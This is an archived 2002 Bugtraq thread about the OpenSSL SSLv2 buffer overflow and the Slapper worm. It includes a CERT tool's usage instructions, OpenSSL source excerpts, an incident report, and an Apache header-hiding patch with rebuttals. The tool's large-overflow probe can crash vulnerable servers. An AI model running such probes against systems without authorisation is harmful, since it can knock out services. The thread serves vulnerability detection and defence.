one), to test compatibility of the the SSL implementations. Obtaining and running the tool You can download a copy of the C source code here: <http://CERT.Uni-Stuttgart.DE/advisories/openssl-sslv2-master/openssl-sslv2-master.c> Compiling this program requires an OpenSSL development environment (including header files). You have to link this program with OpenSSL's "crypto" library (using "-lcrypto", not "-lcrypt"). On some systems, you have to link with "-ldl", too. After compilation, you can run this program using: $ ./openssl-sslv2-master [-s] host-IP [port] Then a test is performed against host-IP (an IP address in dotted-quad notation) and the TCP service running on port (a decimal number). port can be omitted, then the default port 443 is assumed. Note: You can use this program to test any SSL Version 2.0 server, not just HTTPS servers. For some services, a STARTTLS message is required to initiate the SSL handshake (e.g. SMTP, POP3, IMAP). This message is sent if you supply the "-s" option. Risks and limitations The server could crash (when the large buffer overflow is attempted), and fail to restart automatically. The program detects this, but obviously cannot undo any damage. If the server which is being tested does not support SSLv2, it often reacts in a strange way. The SSL protocol does not define a clear rejection message, so no proper diagnosis is return by the tool in such cases. To determine the cause of a handshake failure, you should use a full SSL/TLS implementation, such as "openssl s_client". Credits This program was inspired by the source code of the "Slapper" worm. Thanks to Helmut Springer for testing and spotting a few bugs. About RUS-CERT RUS-CERT <http://CERT.Uni-Stuttgart.DE/> is the Computer Emergency Response Team located at the Computing Center (RUS) of the University of Stuttgart, Germany. URL of the current version of this document: <http://cert.uni-stuttgart.de/advisories/openssl-sslv2-master.php> -- Florian Weimer Weimer@CERT.Uni-Stuttgart.DE University of Stuttgart http://CERT.Uni-Stuttgart.DE/people/fw/ RUS-CERT fax +49-711-685-5898 (75682) /Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>/(Ombruten) 75684 2002-09-18 03:38 /10 rader/ Ben Kittridge <bkittridge@cfl.rr.com> Importerad: 2002-09-18 03:38 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1532> Ärende: Re: bugtraq.c httpd apache ssl attack ------------------------------------------------------------ In-Reply-To: <20020913233004.4526.qmail@mail.securityfocus.com> It looks like some script kiddie took the source code from pud (http://packetstorm.decepticons.org/distributed/pud.tgz) and made it a worm. > * Peer-to-peer UDP Distributed Denial of Service (PUD) * > * by contem@efnet * (75684) /Ben Kittridge <bkittridge@cfl.rr.com>/----- 75688 2002-09-18 04:03 /31 rader/ Ben Laurie <ben@algroup.co.uk> Importerad: 2002-09-18 04:03 av Brevbäraren Extern mottagare: Fernando Nunes <fmcn@netcabo.pt> Mottagare: Bugtraq (import) <1536> Ärende: Re: bugtraq.c httpd apache ssl attack ------------------------------------------------------------ Fernando Nunes wrote: > > I am using RedHat 7.3 with Apache 1.3.23. Someone used the > program "bugtraq.c" to explore an modSSL buffer overflow to get access to > a shell. The attack creates a file named "/tmp/.bugtraq.c" and compiles it > using gcc. The program is started with another computer ip address as > argument. All computer files that the user "apache" can read are exposed. > The program attacks the following Linux distributions: > > Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26 > SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23 > Mandrake: 1.3.14,1.3.19 > Slakware: Apache 1.3.26 Note that if you are using Apache 1.3.23 you are probably also vulnerable to the chunked overflow bug. If people would stay up to date with security patches, this stuff wouldn't happen. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff (75688) /Ben Laurie <ben@algroup.co.uk>/------------ 75695 2002-09-18 06:22 /21 rader/ Mario van Velzen <mvelzen@securityfocus.com> Importerad: 2002-09-18 06:22 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern mottagare: incidents@securityfocus.com Extern mottagare: focus-ids@securityfocus.com Mottagare: Bugtraq (import) <1543> Ärende: Analysis of Modap worm ------------------------------------------------------------ Greetings, We have completed and released our analysis of the Modap worm, which has been targeting Apache Web servers running vulnerable versions of OpenSSL. In addition, we have also released to the public our initial Incident Alert on this issue, available at: http://analyzer.securityfocus.com/alerts/020913-Alert-Apache-mod_ssl-Exploit.pdf The full analysis is available at: http://analyzer.securityfocus.com/alerts/020916-Analysis-Modap.pdf If you have any comments or concerns, please do not hesitate to contact me. Cheers, Mario Van Velzen, mvelzen@securityfocus.com DeepSight Threat Management System, Symantec (75695) /Mario van Velzen <mvelzen@securityfocus.com>/(Ombruten) 75769 2002-09-18 16:47 /60 rader/ Eric Rescorla <ekr@rtfm.com> Importerad: 2002-09-18 16:47 av Brevbäraren Extern mottagare: Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE> Externa svar till: ekr@rtfm.com Mottagare: Bugtraq (import) <1557> Ärende: Re: Remote detection of vulnerable OpenSSL versions ------------------------------------------------------------ Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE> writes: > small overflow large overflow > pre-0.9.6e no crash crash > 0.9.6e crash crash > 0.9.6g error error When this bug first came out, I developed a somewhat similar tool, for local use but I see different behavior than you suggest. In particular, 0.9.6e and other compatible versions do not crash. Rather, they generate an error locally and close the connections. It's clear why this happens from examining the source code with the relevant check (from 0.9.6e) n2s(p,i); s->session->key_arg_length=i; if(s->session->key_arg_length > SSL_MAX_KEY_ARG_LENGTH) { SSLerr(SSL_F_GET_CLIENT_MASTER_KEY, SSL_R_KEY_ARG_TOO_LONG); return -1; } s->state=SSL2_ST_GET_CLIENT_MASTER_KEY_B; } So, what happens is just that get_client_master_key returns -1 and the connection terminates with a failure. On the wire, this looks like a TCP FIN so is hard to tell from a crash, but it's not one. On the other hand, the relevant code in OpenSSL 0.9.6g is: n2s(p,i); s->session->key_arg_length=i; if(s->session->key_arg_length > SSL_MAX_KEY_ARG_LENGTH) { ssl2_return_error(s,SSL2_PE_UNDEFINED_ERROR); SSLerr(SSL_F_GET_CLIENT_MASTER_KEY, SSL_R_KEY_ARG_TOO_LONG); return -1; } s->state=SSL2_ST_GET_CLIENT_MASTER_KEY_B; } Note the addition of the call to ssl2_return_error(). This is what generates the "SSLv2 error", namely a return packet from the server of: 80 03 00 00 00 When I run your code against 0.9.6e and 0.9.6g I see results consistent with my own experience. Namely, 0.9.6e server terminates the connection but does not crash. Incidentally, it's quite unnecessary to test with a large overflow. As your chart shows, a small overflow is differentially diagnostic. Because a large overflow will actually crash vulnerable survers, it's damaging to test them in this way. it's probably better to remove this check entirely. -Ekr -- [Eric Rescorla ekr@rtfm.com] http://www.rtfm.com/ (75769) /Eric Rescorla <ekr@rtfm.com>/-------------- 75829 2002-09-19 06:51 /118 rader/ Ajai Khattri <ajai@bitblit.net> Importerad: 2002-09-19 06:51 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1586> Ärende: Re: Linux Slapper Worm ------------------------------------------------------------ Not seeing any announcement from my vendor (and not wanting to compile SSL from source), I set out to see if there was some way of avoiding being infected in the first place. I decided to hack my Apache (1.3.26) source code to send a bogus Server: header (seeing as this is how Slapper detects what web software is running). There is no way of disabling this header or controlling exactly what is included in the string, so I hacked. This is really quite easy to do: In src/include/httpd.h I added an extra value to the server_token_type enumeration and an extra #define: #define SERVER_BASEVENDOR "Apache Group" #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1.3.26" #define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION #define SERVER_PRODUCT SERVER_BASEPRODUCT #define SERVER_REVISION SERVER_BASEREVISION #define SERVER_VERSION SERVER_PRODUCT "/" SERVER_REVISION #define SERVER_HIDE "A p @ c h e" enum server_token_type { SrvTk_MIN, /* eg: Apache/1.3.0 */ SrvTk_OS, /* eg: Apache/1.3.0 (UNIX) */ SrvTk_FULL, /* eg: Apache/1.3.0 (UNIX) PHP/3.0 FooBar/1.2b */ SrvTk_PRODUCT_ONLY, /* eg: Apache */ SrvTk_SECURE /* To fool Slapper */ }; (Note SERVER_HIDE and SrvTk_SECURE. Of course, SERVER_HIDE can be anything you want it to be). Next, I looked at src/main/http_core.c, in the function set_serv_tokens(): static const char *set_serv_tokens(cmd_parms *cmd, void *dummy, char *arg) { const char *err = ap_check_cmd_context(cmd, GLOBAL_ONLY); if (err != NULL) { return err; } if (!strcasecmp(arg, "OS")) { ap_server_tokens = SrvTk_OS; } else if (!strcasecmp(arg, "Min") || !strcasecmp(arg, "Minimal")) { ap_server_tokens = SrvTk_MIN; } else if (!strcasecmp(arg, "Full")) { ap_server_tokens = SrvTk_FULL; } else if (!strcasecmp(arg, "Prod") || !strcasecmp(arg, "ProductOnly")) { ap_server_tokens = SrvTk_PRODUCT_ONLY; } else if (!strcasecmp(arg, "Secure")) { ap_server_tokens = SrvTk_SECURE; } else { return ap_pstrcat(cmd->pool, "Unrecognised ServerTokens keyword: ", arg, NULL); } return NULL; } So, when parsing the config file, it looks for a value of "Secure" for the ServerTokens config directive. Here I set it to SrvTk_SECURE which I defined in the src/include/httpd.h earlier. Finally, in src/main/http_main.c, in the function ap_set_version() I added an extra else if clause: /* * This routine adds the real server base identity to the version string, * and then locks out changes until the next reconfig. */ static void ap_set_version(void) { if (ap_server_tokens == SrvTk_PRODUCT_ONLY) { ap_add_version_component(SERVER_PRODUCT); } else if (ap_server_tokens == SrvTk_MIN) { ap_add_version_component(SERVER_BASEVERSION); } else if (ap_server_tokens == SrvTk_SECURE) { ap_add_version_component(SERVER_HIDE); } else { ap_add_version_component(SERVER_BASEVERSION " (" PLATFORM ")"); } /* * Lock the server_version string if we're not displaying * the full set of tokens */ if (ap_server_tokens != SrvTk_FULL) { version_locked++; } } That's it - now you can make and make install as usual. Before restarting, edit your httpd.conf file and set ServerTokens to Secure by adding the line: ServerTokens Secure Now you can restart and test with a fake HTTP HEAD request to port 80 - you should see your custom string (SERVER_HIDE). As an added precaution, you may want to rename your gcc binary. I also blocked port 2002 on my firewall for good measure. Hope this is useful for people still waiting for vendor updates ;-) -- Aj. Systems Administrator / Developer (75829) /Ajai Khattri <ajai@bitblit.net>/-(Ombruten) 75928 2002-09-19 21:48 /33 rader/ Miroslaw Jaworski <mjaw@ipartners.pl> Importerad: 2002-09-19 21:48 av Brevbäraren Extern mottagare: Ajai Khattri <ajai@bitblit.net> Mottagare: Bugtraq (import) <1602> Ärende: Re: Linux Slapper Worm ------------------------------------------------------------ * Ajai Khattri (ajai@bitblit.net) [020919 09:02] wrote: > Not seeing any announcement from my vendor (and not wanting to compile > SSL from source), > I set out to see if there was some way of avoiding being infected in the > first place. I decided to hack my Apache (1.3.26) source code to send a > bogus Server: header ...and you're still vulnerable. Don't forget mod_ssl and openssl show their versions if you talk to SSL-enabled apache ( src/modules/ssl/ssl_engine_init.c, ap_add_version_component ). So whether another kiddie compile PUD code changing it not to look for 'Apache', but 'mod_ssl|open_ssl' - you're dead. Not mentioning another, who won't check server response, but will send all exploits to every 80 port opened - you're dead too. Someone can read your "fix", apply it, and think he's safe. Giving such "advices" _can_ made whole situation worse - some people out there will look for all this "Slapper thing" with smiles thinking they're patched. Go patch the real hole. Regards MJ. -- Miroslaw.Jaworski@ipartners.pl ( Psyborg ) MJ102-RIPE Internet Partners Server Administration Department Manager (75928) /Miroslaw Jaworski <mjaw@ipartners.pl>/(Ombruten) 75939 2002-09-19 23:30 /17 rader/ Charles Stevenson <core@bokeoa.com> Importerad: 2002-09-19 23:30 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Externa svar till: core@bokeoa.com Mottagare: Bugtraq (import) <1606> Ärende: Re: Linux Slapper Worm ------------------------------------------------------------ This method of security through obscurity will not prevent another hacker from chaning the worm to use one of the modified versions of the exploit which supports brute forcing. Nor does it trick Solar Eclipse's scanner which actually overflows and checks to see if the server response contains our data. All you did was waste your time. :) peace, core -- Charles Stevenson (core) <core@bokeoa.com> Lab Assistant, College of Eastern Utah San Juan Campus http://www.bokeoa.com/~core/core.asc (75939) /Charles Stevenson <core@bokeoa.com>/(Ombruten) 76487 2002-09-24 17:17 /37 rader/ Ron DuFresne <dufresne@winternet.com> Importerad: 2002-09-24 17:17 av Brevbäraren Extern mottagare: firewalls@isc.org Mottagare: Bugtraq (import) <1650> Ärende: Slapper worm redux; ------------------------------------------------------------ Those folks relying upon security through obscurity might well wish to get on the ball and fully patch-up; September 23 VNUNET.COM. A suspect has been arrested on suspicion of authoring the Slapper worm. But although the threat of the worm seems to have been short-lived, a new variant is already set to take up where its predecessor left off. Although the ISC's 'most attacked ports' chart no longer features Slapper in its Top 10 a variant, Slapper.B, has been spotted in the wild. Slapper.B has several subtle differences, but is for the most part an updated version of its predecessor. Both worms attempt to exploit a known vulnerability in the Secure Sockets Layer 2.0 (SSLv2) handshake process. The two variants also carry the same payload, a password-protected backdoor and denial of service (DoS) capabilities. ISS's Morgan said that with the new variant on the loose his company had calculated that about 10,000 servers were probably now infected, and that the network was probably going to be used for DoS attacks. He added that it was unlikely the original author created the second worm. "It was significant that source code for the original Slapper was distributed within the computer underground immediately after the worm was detected in the wild," he said. Source: http://www.vnunet.com/News/1135274 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. (76487) /Ron DuFresne <dufresne@winternet.com>/(Ombruten)